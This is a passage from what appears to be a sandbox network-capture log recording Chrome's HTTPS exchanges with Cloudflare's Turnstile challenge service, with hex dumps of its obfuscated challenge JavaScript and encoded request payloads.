2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 2c 76 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 36 37 2e 34 32 5d 5b 33 5d 5e 66 5b 68 36 28 34 34 36 29 5d 28 66 5b 68 36 28 31 34 37 38 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 36 37 5d 5b 31 5d 5b 68 36 28 36 34 35 29 5d 28 74 68 69 73 2e 68 5b 36 37 2e 38 33 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2c 32 31 29 2b 32 35 36 2c 32 35 35 29 5e 31 33 2e 34 35 2c 76 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 76 5d 2c 78 3d 66 5b 68 36 28 31 32 34 31 29 5d 28 66 5b 68 36 28 31 31 32 31 29 5d 28 66 5b 68 36 28 39 39 32 29 5d 28 74 68 69 73 2e 68 5b 36 37 5e 74 68 69 73 2e 67 5d 5b 33 5d 2c 66 5b 68 36 28 34 34 36 29 5d 28 32 33 35 2b 74 68 69 73 2e 68 5b 66 5b 68 36 28 31 35 31 34 29 5d 28 36 37 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 68 36 28 Data Ascii: ,v=this.h[this.g^67.42][3]^f[h6(446)](f[h6(1478)](this.h[this.g^67][1][h6(645)](this.h[67.83^this.g][0]++),21)+256,255)^13.45,v=this.h[this.g^v],x=f[h6(1241)](f[h6(1121)](f[h6(992)](this.h[67^this.g][3],f[h6(446)](235+this.h[f[h6(1514)](67,this.g)][1][h6(
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 2c 65 4d 5b 69 36 28 38 38 36 29 5d 5b 69 36 28 37 30 31 29 5d 28 65 5b 69 36 28 31 30 38 35 29 5d 28 32 2c 66 29 2c 33 32 29 29 2c 65 4d 5b 69 36 28 38 36 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 37 29 7b 69 37 3d 69 36 2c 65 4d 5b 69 37 28 37 33 36 29 5d 26 26 28 65 4d 5b 69 37 28 31 31 35 33 29 5d 5b 69 37 28 34 31 30 29 5d 28 29 2c 65 4d 5b 69 37 28 31 31 35 33 29 5d 5b 69 37 28 31 35 31 36 29 5d 28 29 2c 65 4d 5b 69 37 28 32 32 30 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 69 37 28 37 33 36 29 5d 5b 69 37 28 32 37 34 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 69 37 28 36 30 33 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 69 37 28 31 32 31 37 29 5d 5b 69 37 28 33 36 32 29 5d 2c 27 65 76 65 6e 74 27 3a 69 37 28 35 38 35 29 2c 27 63 66 43 68 6c 4f 75 74 Data Ascii: ,eM[i6(886)][i6(701)](e[i6(1085)](2,f),32)),eM[i6(869)](function(i7){i7=i6,eM[i7(736)]&&(eM[i7(1153)][i7(410)](),eM[i7(1153)][i7(1516)](),eM[i7(220)]=!![],eM[i7(736)][i7(274)]({'source':e[i7(603)],'widgetId':eM[i7(1217)][i7(362)],'event':i7(585),'cfChlOut
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 69 38 28 31 35 30 36 29 5d 28 6b 5b 69 38 28 33 37 39 29 5d 28 6b 5b 69 38 28 31 35 30 36 29 5d 28 6b 5b 69 38 28 39 38 31 29 5d 28 69 38 28 31 33 30 38 29 2b 43 2c 6b 5b 69 38 28 34 36 37 29 5d 29 2c 31 29 2b 69 38 28 31 31 37 31 29 2c 65 4d 5b 69 38 28 31 32 31 37 29 5d 5b 69 38 28 31 33 30 34 29 5d 29 2b 27 2f 27 2c 65 4d 5b 69 38 28 31 32 31 37 29 5d 2e 63 48 29 2b 27 2f 27 2b 65 4d 5b 69 38 28 31 32 31 37 29 5d 5b 69 38 28 31 30 34 39 29 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 31 27 3a 6f 5b 69 38 28 31 33 31 36 29 5d 28 6b 5b 69 38 28 34 36 35 29 5d 2c 69 38 28 31 35 36 38 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 32 27 3a 43 3d 65 4d 5b 69 38 28 31 32 31 37 29 5d 5b 69 38 28 39 30 37 29 5d 3f 6b 5b 69 38 28 31 32 35 34 29 5d Data Ascii: i8(1506)](k[i8(379)](k[i8(1506)](k[i8(981)](i8(1308)+C,k[i8(467)]),1)+i8(1171),eM[i8(1217)][i8(1304)])+'/',eM[i8(1217)].cH)+'/'+eM[i8(1217)][i8(1049)];continue;case'11':o[i8(1316)](k[i8(465)],i8(1568));continue;case'12':C=eM[i8(1217)][i8(907)]?k[i8(1254)]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49744	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:45 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c997a86442ad&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:46 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:45 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 113149 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6c9b1cbb81885-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:46 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f Data Ascii: %20submitted","turnstile_footer_privacy":"Privacy","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","human_button_text":"Verify%20you%20are%20human","turnstile_verifying":"Verifying...","turnstile_timeout":"Timed%20out","turnstile_feedback_
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 67 62 2c 67 6c 2c 67 77 2c 67 41 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 34 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 31 35 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 32 35 38 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 38 39 32 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 31 39 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 31 30 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 34 33 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 67 Data Ascii: gb,gl,gw,gA,gB,gC,gG,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(784))/1(-parseInt(gI(1515))/2)+-parseInt(gI(258))/3(parseInt(gI(892))/4)+-parseInt(gI(1119))/5*(parseInt(gI(1110))/6)+parseInt(gI(543))/7+-parseInt(g
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 54 6e 54 4d 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 51 73 4b 76 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 6d 6e 57 45 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 71 6d 53 42 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 6b 6f 7a 44 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 52 4d 73 6d 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6d 6a 57 63 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 Data Ascii: ,i){return h-i},'TnTMU':function(h,i){return h(i)},'QsKvk':function(h,i){return i\|h},'mnWEZ':function(h,i){return h<<i},'qmSBs':function(h,i){return h==i},'kozDC':function(h,i){return i==h},'RMsmS':function(h,i){return h(i)},'mjWcl':function(h,i){return h
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 3d 21 30 29 2c 4c 3d 64 5b 68 4c 28 31 35 36 34 29 5d 28 43 2c 4b 29 2c 4f 62 6a 65 63 74 5b 68 4c 28 31 35 30 32 29 5d 5b 68 4c 28 38 38 31 29 5d 5b 68 4c 28 31 32 32 31 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 68 4c 28 31 35 30 32 29 5d 5b 68 4c 28 38 38 31 29 5d 5b 68 4c 28 31 32 32 31 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 68 4c 28 35 34 32 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 68 4c 28 31 33 32 37 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 2c 64 5b 68 4c 28 31 35 38 31 29 5d 28 49 2c 64 5b 68 4c 28 35 34 38 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 4c 28 36 34 37 29 5d 28 64 5b 68 4c 28 32 32 35 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d Data Ascii: =!0),L=d[hL(1564)](C,K),Object[hL(1502)][hL(881)][hL(1221)](x,L))C=L;else{if(Object[hL(1502)][hL(881)][hL(1221)](B,C)){if(256>C[hL(542)](0)){for(s=0;d[hL(1327)](s,F);H<<=1,d[hL(1581)](I,d[hL(548)](j,1))?(I=0,G[hL(647)](d[hL(225)](o,H)),H=0):I++,s++);for(M
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 64 5b 68 4c 28 35 39 31 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 68 4c 28 31 30 39 36 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 43 3d 69 7c 7c 64 5b 68 4c 28 31 35 34 32 29 5d 2c 6a 28 4a 2c 66 75 6e 63 74 69 6f 6e 28 4f 2c 68 4d 29 7b 68 4d 3d 68 4c 2c 4f 5b 68 4d 28 31 33 39 35 29 5d 5b 68 4d 28 37 39 34 29 5d 3d 4b 2c 4f 5b 68 4d 28 31 33 39 35 29 5d 5b 68 4d 28 33 36 30 29 5d 3d 68 4d 28 31 32 30 33 29 7d 29 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 68 4c 28 39 36 32 29 5d 28 48 3c 3c 31 2c 31 2e 32 35 26 4d 29 2c 64 5b 68 4c 28 33 34 37 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 68 4c 28 Data Ascii: +,M>>=1,s++);}D--,d[hL(591)](0,D)&&(D=Math[hL(1096)](2,F),F++),delete B[C]}else C=i\|\|d[hL(1542)],j(J,function(O,hM){hM=hL,O[hM(1395)][hM(794)]=K,O[hM(1395)][hM(360)]=hM(1203)})}else for(M=x[C],s=0;s<F;H=d[hL(962)](H<<1,1.25&M),d[hL(347)](I,j-1)?(I=0,G[hL(
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 37 31 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 50 28 34 37 39 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 50 28 31 30 39 36 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 64 5b 68 50 28 37 36 39 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 50 28 34 37 39 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 50 28 31 30 36 39 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4d 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 Data Ascii: 71)](0,H)&&(H=j,G=d[hP(479)](o,I++)),J\|=F*(0<L?1:0),F<<=1);switch(M=J){case 0:for(J=0,K=Math[hP(1096)](2,8),F=1;K!=F;L=d[hP(769)](G,H),H>>=1,H==0&&(H=j,G=d[hP(479)](o,I++)),J\|=d[hP(1069)](0<L?1:0,F),F<<=1);s[B++]=e(J),M=B-1,x--;break;case 1:for(J=0,K=Math
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 34 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 46 2c 47 29 7b 69 3d 28 69 34 3d 67 4a 2c 7b 27 55 56 4e 41 65 27 3a 69 34 28 31 35 35 37 29 2c 27 54 66 4f 49 59 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 46 3d 3d 3d 45 7d 2c 27 72 45 48 75 6c 27 3a 69 34 28 37 35 31 29 2c 27 50 56 51 6b 71 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 29 7b 72 65 74 75 72 6e 20 45 28 46 2c 47 29 7d 2c 27 79 6e 67 42 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 7d 2c 27 7a 4c 52 62 74 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 76 68 72 6e 73 27 3a 66 75 6e Data Ascii: function(f,g,h,i4,i,j,k,l,m,n,o,s,x,B,C,D,F,G){i=(i4=gJ,{'UVNAe':i4(1557),'TfOIY':function(E,F){return F===E},'rEHul':i4(751),'PVQkq':function(E,F,G){return E(F,G)},'yngBk':function(E,F){return E instanceof F},'zLRbt':function(E,F){return E+F},'vhrns':fun
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 28 31 31 32 34 29 5d 3d 6b 5b 69 34 28 33 36 32 29 5d 5b 69 34 28 31 34 32 38 29 5d 2c 46 5b 69 34 28 31 35 33 34 29 5d 3d 6c 5b 69 34 28 33 36 32 29 5d 5b 69 34 28 35 39 33 29 5d 2c 69 5b 69 34 28 33 36 35 29 5d 5b 69 34 28 31 35 32 38 29 5d 28 46 2c 27 2a 27 29 2c 47 3d 7b 7d 2c 47 5b 69 34 28 36 35 37 29 5d 3d 69 34 28 31 35 35 37 29 2c 47 5b 69 34 28 38 36 36 29 5d 3d 6e 5b 69 34 28 33 36 32 29 5d 5b 69 34 28 31 33 31 37 29 5d 2c 47 5b 69 34 28 32 33 35 29 5d 3d 69 34 28 34 32 32 29 2c 6d 5b 69 34 28 33 36 35 29 5d 5b 69 34 28 31 35 32 38 29 5d 28 47 2c 27 2a 27 29 7d 63 61 74 63 68 28 46 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 36 35 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 69 35 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 69 35 3d 67 Data Ascii: (1124)]=k[i4(362)][i4(1428)],F[i4(1534)]=l[i4(362)][i4(593)],i[i4(365)][i4(1528)](F,''),G={},G[i4(657)]=i4(1557),G[i4(866)]=n[i4(362)][i4(1317)],G[i4(235)]=i4(422),m[i4(365)][i4(1528)](G,'')}catch(F){}},eM[gJ(650)]=function(d,i5,e,f,g,h,i,j,k,l,m){(i5=g
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 34 33 29 5d 29 3f 65 4d 5b 69 39 28 31 30 39 39 29 5d 28 6d 2c 75 6e 64 65 66 69 6e 65 64 2c 69 5b 69 39 28 38 36 38 29 5d 29 3a 69 5b 69 39 28 31 30 31 38 29 5d 28 65 2c 69 5b 69 39 28 32 39 33 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 78 2c 69 61 29 7b 69 61 3d 69 39 2c 78 5b 69 61 28 37 31 33 29 5d 3d 73 5b 69 61 28 32 39 36 29 5d 2b 67 2b 73 5b 69 61 28 31 32 37 34 29 5d 7d 29 7d 2c 31 30 29 2c 65 4d 5b 69 37 28 31 33 35 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 62 29 7b 69 62 3d 69 37 2c 65 4d 5b 69 62 28 36 32 30 29 5d 28 29 7d 2c 31 65 33 29 2c 65 4d 5b 69 37 28 31 32 31 38 29 5d 5b 69 37 28 34 37 34 29 5d 28 69 37 28 31 35 30 30 29 2c 64 29 29 3b 72 65 74 75 72 6e 21 5b 5d 7d 2c 66 79 3d 30 2c 66 42 3d 7b 7d 2c 66 42 5b 67 4a 28 31 34 34 35 29 5d 3d 66 Data Ascii: 43)])?eM[i9(1099)](m,undefined,i[i9(868)]):i[i9(1018)](e,i[i9(293)],function(x,ia){ia=i9,x[ia(713)]=s[ia(296)]+g+s[ia(1274)]})},10),eM[i7(1353)](function(ib){ib=i7,eM[ib(620)]()},1e3),eM[i7(1218)][i7(474)](i7(1500),d));return![]},fy=0,fB={},fB[gJ(1445)]=f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49745	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:45 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3415 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: _cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:45 UTC	3415	OUT	Data Raw: 76 5f 38 65 66 36 63 39 39 37 61 38 36 34 34 32 61 64 3d 67 47 62 6a 57 6a 61 6a 30 6a 53 6a 2d 6a 4c 33 44 63 33 44 71 48 6a 46 4a 32 37 55 4d 4a 49 70 6d 44 45 39 44 57 66 6a 31 7a 44 51 6a 55 47 44 78 44 77 49 39 44 4d 69 41 6a 57 39 44 75 6a 4d 65 4e 71 44 35 49 6a 44 4d 53 46 44 61 6e 71 44 55 66 31 6e 37 39 4b 6a 41 44 56 67 44 61 6f 41 7a 66 71 4a 31 75 44 73 6a 38 6f 44 46 6a 55 6f 44 38 54 4f 2d 6e 4c 44 57 33 61 6d 61 57 4a 66 6a 44 6e 6e 48 68 4a 4b 4b 39 58 49 66 31 73 63 66 6f 6f 44 63 70 6f 77 4c 58 51 34 73 58 71 55 70 73 58 31 55 70 55 78 6c 30 37 64 44 55 6b 62 41 31 41 71 44 46 55 44 6c 5a 37 47 73 33 55 44 78 75 71 44 42 70 41 52 55 77 6a 44 62 66 31 25 32 62 67 44 33 65 31 57 69 78 32 67 68 52 44 53 67 6e 78 46 41 62 77 6a 31 31 46 4a Data Ascii: v_8ef6c997a86442ad=gGbjWjaj0jSj-jL3Dc3DqHjFJ27UMJIpmDE9DWfj1zDQjUGDxDwI9DMiAjW9DujMeNqD5IjDMSFDanqDUf1n79KjADVgDaoAzfqJ1uDsj8oDFjUoD8TO-nLDW3amaWJfjDnnHhJKK9XIf1scfooDcpowLXQ4sXqUpsX1UpUxl07dDUkbA1AqDFUDlZ7Gs3UDxuqDBpARUwjDbf1%2bgD3e1Wix2ghRDSgnxFAbwj11FJ
2024-12-09 17:41:46 UTC	747	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:46 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149676 Connection: close cf-chl-gen: 0NJYh/C1mKQGL6q9cc6iJe8tlOC8tE4wxdbDCyiMzA3i7tMOgp5k72zvg4r4syUHLFb2K2lnlB+eyjPdkYrpVanz2WyTjFZSGb2UqdKOPzXAdtAf34XMWHM9NIR1ZfOJ2D/q3LgZzv8hR4HsfnssemPzINbw91kiwx4sR6eATuJvY5wHcnOAYtDsCSyl2f/kBZyfIZ1RaVzcl9X5CvFvkh4pnTsZnP467iQklQJ5sxiWJmmpQ0fzefbjOuE7qZ4HRv78xiVWp+4CQPpLx50GU4whEsKVnsdYLHZCMW5HFvz0oO7NOqpr025l8xd2bw8aNwlTaoAj3Zri0OYzW/bRIpFutigfTLXbV9sQtNvstGUS2h8Xs43ga92qpn/yHd3H1LpbtpMjkYDcIx4foPK6X8R89WwBOfqRnDXrPbwFsJRBHzHSc5qvlMUF95ETiSipr6KoIY6dhae07Vv5NhATxHZWQtFgiFegSrK7/3O/vFPgMaE=$hQv3idIWVOd2HpXn Server: cloudflare CF-RAY: 8ef6c9b1deaa7cac-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:46 UTC	622	IN	Data Raw: 6d 34 61 71 71 5a 4e 2b 74 73 57 4c 6b 49 7a 46 73 4a 4b 78 78 37 47 7a 6d 61 53 79 71 4b 71 76 71 4e 2b 35 34 2b 4c 4f 31 65 66 6b 30 63 43 30 70 65 43 35 76 73 48 61 72 74 48 74 73 4e 4f 76 73 4f 76 30 2b 66 7a 38 39 2f 58 61 33 4e 4c 51 75 65 7a 53 78 73 43 36 32 4f 66 57 2b 51 2f 4e 45 63 66 51 36 2b 58 54 46 76 34 4e 36 73 76 34 46 64 67 47 44 68 51 5a 2f 67 51 63 48 50 54 64 33 77 4c 31 41 65 4d 47 2b 51 50 35 42 67 34 41 2f 50 7a 2b 41 68 50 71 4a 68 51 75 4d 52 77 4f 4b 78 34 65 4c 44 63 65 48 6a 6f 41 47 79 68 4b 52 6b 51 73 54 6b 73 6a 54 68 31 4c 51 52 52 53 45 6c 5a 45 4a 6b 34 2b 58 55 74 51 46 31 38 66 51 45 45 66 58 6c 6c 56 4b 55 51 33 4e 57 42 46 4f 32 39 7a 5a 54 34 39 59 7a 64 50 4c 7a 46 78 4f 32 70 70 66 47 6c 70 56 6e 39 6a 64 33 39 Data Ascii: m4aqqZN+tsWLkIzFsJKxx7GzmaSyqKqvqN+54+LO1efk0cC0peC5vsHartHtsNOvsOv0+fz89/Xa3NLQuezSxsC62OfW+Q/NEcfQ6+XTFv4N6sv4FdgGDhQZ/gQcHPTd3wL1AeMG+QP5Bg4A/Pz+AhPqJhQuMRwOKx4eLDceHjoAGyhKRkQsTksjTh1LQRRSElZEJk4+XUtQF18fQEEfXllVKUQ3NWBFO29zZT49YzdPLzFxO2ppfGlpVn9jd39
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 4b 53 61 5a 43 51 64 34 36 44 6b 70 4e 65 66 31 36 42 6b 32 5a 35 67 4a 39 70 67 4b 2b 67 6b 33 32 4c 6e 33 47 43 67 37 57 30 74 35 4f 49 6d 59 71 66 65 6f 2f 41 73 4d 47 32 6d 49 65 44 6f 4b 4b 6d 7a 73 4f 62 72 73 7a 4f 6a 72 57 6e 70 39 50 4c 7a 63 72 47 74 62 36 38 76 4e 53 70 73 39 50 4d 77 35 2f 58 34 63 44 6d 6f 75 58 68 37 2b 4f 6d 33 71 2f 71 35 2b 2f 33 35 50 43 76 30 38 58 6f 31 37 33 4c 36 4f 48 62 32 4e 62 43 32 4d 4c 5a 34 76 58 65 42 38 66 35 32 75 6a 69 33 51 37 54 41 4f 41 42 47 4e 50 31 45 41 67 61 47 52 44 67 48 74 30 58 33 74 63 43 34 68 6a 39 33 4f 67 65 36 65 55 6f 35 76 7a 38 46 53 34 47 44 77 73 75 4c 7a 44 35 47 50 4d 49 4e 6a 34 69 4c 43 77 75 41 6a 6f 5a 4b 42 78 4a 42 78 67 46 48 55 67 2b 45 43 38 39 4b 43 45 78 4b 79 67 6d 55 Data Ascii: 